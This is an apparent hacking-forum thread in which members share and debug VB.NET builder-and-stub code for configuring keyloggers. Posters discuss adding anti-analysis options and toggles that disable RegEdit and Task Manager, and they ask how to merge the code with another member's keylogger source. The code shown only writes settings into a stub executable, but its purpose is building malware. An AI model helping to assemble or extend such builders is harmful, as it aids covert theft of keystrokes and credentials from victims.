Lots of people asking, so here you go.
[IMG]http://i35.[censored].com/2ic3za8.png[/IMG]
[IMG]http://i36.[censored].com/anhs9j.png[/IMG]
Download Project:
http://www.multiupload.com/LXKF92ZW3S
The main reason is for people wanting to put different options on their keylogger (Eg. Antis) On the stub, put them in the IF statement. If you're not sure were, it's were I wrote "Antis Here" 🤣
thanks vorfin :) im gonna go to wrk on it....if it wrks ill plus rep u :]
there we go got it working :] just had 2 put evrything in the same file lol
yeah thanks man...been trying to get this to work for a long time..ill test =D
DO NOT DEAL WITH THIS MEMBER
why is this not working...every time i build it, it gives me this error
Code See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.
************** Exception Text **************
System.InvalidCastException: Conversion from string "test2.exe" to type 'Boolean' is not valid. ---> System.FormatException: Input string was not in a correct format.
at Microsoft.VisualBasic.CompilerServices.Conversions.ParseDouble(String Value, NumberFormatInfo NumberFormat)
at Microsoft.VisualBasic.CompilerServices.Conversions.ToBoolean(String Value)
--- End of inner exception stack trace ---
at Microsoft.VisualBasic.CompilerServices.Conversions.ToBoolean(String Value)
at Stub.Form1.Form1_Load(Object sender, EventArgs e)
at System.EventHandler.Invoke(Object sender, EventArgs e)
at System.Windows.Forms.Form.OnLoad(EventArgs e)
at System.Windows.Forms.Form.OnCreateControl()
at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
at System.Windows.Forms.Control.CreateControl()
at System.Windows.Forms.Control.WmShowWindow(Message& m)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ScrollableControl.WndProc(Message& m)
at System.Windows.Forms.ContainerControl.WndProc(Message& m)
at System.Windows.Forms.Form.WmShowWindow(Message& m)
at System.Windows.Forms.Form.WndProc(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)
************** Loaded Assemblies **************
mscorlib
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900)
CodeBase: file:///C:/Windows/Microsoft.NET/Framework/v2.0.50727/mscorlib.dll
----------------------------------------
Stub
Assembly Version: 1.0.0.0
Win32 Version: 1.0.0.0
CodeBase: file:///C:/Users/(my username)/Desktop/test2.exe
----------------------------------------
Microsoft.VisualBasic
Assembly Version: 8.0.0.0
Win32 Version: 8.0.50727.4918 (NetFXspW7.050727-4900)
CodeBase: file:///C:/Windows/assembly/GAC_MSIL/Microsoft.VisualBasic/8.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll
----------------------------------------
System
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.4918 (NetFXspW7.050727-4900)
CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll
----------------------------------------
System.Windows.Forms
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.4918 (NetFXspW7.050727-4900)
CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll
----------------------------------------
System.Drawing
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.4918 (NetFXspW7.050727-4900)
CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll
----------------------------------------
System.Runtime.Remoting
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.4918 (NetFXspW7.050727-4900)
CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Runtime.Remoting/2.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll
----------------------------------------
System.Configuration
Assembly Version: 2.0.0.0
Win32 Version: 2.0.50727.4918 (NetFXspW7.050727-4900)
CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Configuration/2.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll
----------------------------------------
************** JIT Debugging **************
To enable just-in-time (JIT) debugging, the .config file for this
application or computer (machine.config) must have the
jitDebugging value set in the system.windows.forms section.
The application must also be compiled with debugging
enabled.
For example:
<configuration>
<system.windows.forms jitDebugging="true" />
</configuration>
When JIT debugging is enabled, any unhandled exception
will be sent to the JIT debugger registered on the computer
rather than be handled by this dialog box.
and heres my code for builder
Code Public Class Form1
Dim stub, text1, text2, text3, text4 As String
Dim cb1 As Boolean
Const FileSplit = "@blablabla@"
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
text1 = TextBox1.Text
text2 = TextBox2.Text
text3 = TextBox3.Text
text4 = TextBox4.Text
If CheckBox1.Checked = True Then
cb1 = True
Else : cb1 = False
End If
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists(TextBox4.Text) Then
My.Computer.FileSystem.DeleteFile(TextBox4.Text)
End If
FileOpen(1, Application.StartupPath & "\" & TextBox4.Text, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit & text3 & FileSplit & text4 & FileSplit & cb1)
FileClose(1)
End If
and my stub...
Code Public Class Form1
Dim options(), text1, text2, text3, text4, cb1 As String
Const FileSplit = "@blablabla@"
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath)
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
text3 = Space(LOF(1))
text4 = Space(LOF(1))
cb1 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileGet(1, text3)
FileGet(1, cb1)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
TextBox4.Text = options(3)
cb1 = options(4)
If options(4) = False Then
Label1.Text = "No"
Else : Label1.Text = "Yes" 'Antis Here
End If
End Sub
i know acid i was thinking the samething how to incorporate the 2 together o.o
yeah, cause for some reason, it just keeps giving me this error.
no1 wants to offer any advice on how to blend this with vorfins keylogger source ??
i get the basic idea of the entire code i just dont get how to blend/merge them o_0
Vorfin, with this, do you dim all checkboxes seperately? or all together? eg
Code Dim CBRegEdit, CBTaskMgr as boolean
or
Code Dim CBRegEdit as boolean
Dim CBTaskMgr as boolean
(Oct 19, 2009 02:29 PM)SgtPunishment Wrote: Vorfin, with this, do you dim all checkboxes seperately? or all together? eg
Code Dim CBRegEdit, CBTaskMgr as boolean
Code Dim CBRegEdit as boolean
Dim CBTaskMgr as boolean
The top one, but both should work.
As for the errors you are getting, look at Farhan's source, it shows you CheckBoxes, TextBoxes, and NumberValues all together.
https://hackforums.net/showthread.php?ti...ht=builder
i dont know, my code is exactly the same, but still won't work
EDIT:
Found Problem and Fixed!
Code FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit & text3 & FileSplit & text4 & FileSplit & cb1)
needed to be
Code FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit & text3 & FileSplit & cb1)
becuase text4 was only being used on the builder
Thanks for all the help guys!
thanks vorfin..yet again.
i still think you should be staff or at least get free ub3r! arghh well.
so far i have about 3 different codes im learning from and trying to change to make one unique one.
i was struggling with the first two but this one helped
thanks again
nick
I wonder why you all have the same superflousing code
Code If CheckBox1.Checked = True Then
cb1 = True
Else : cb1 = False
End If
Should be
Code cb1 = CheckBox1.Checked
Thank you yeaa i really need this :D
|
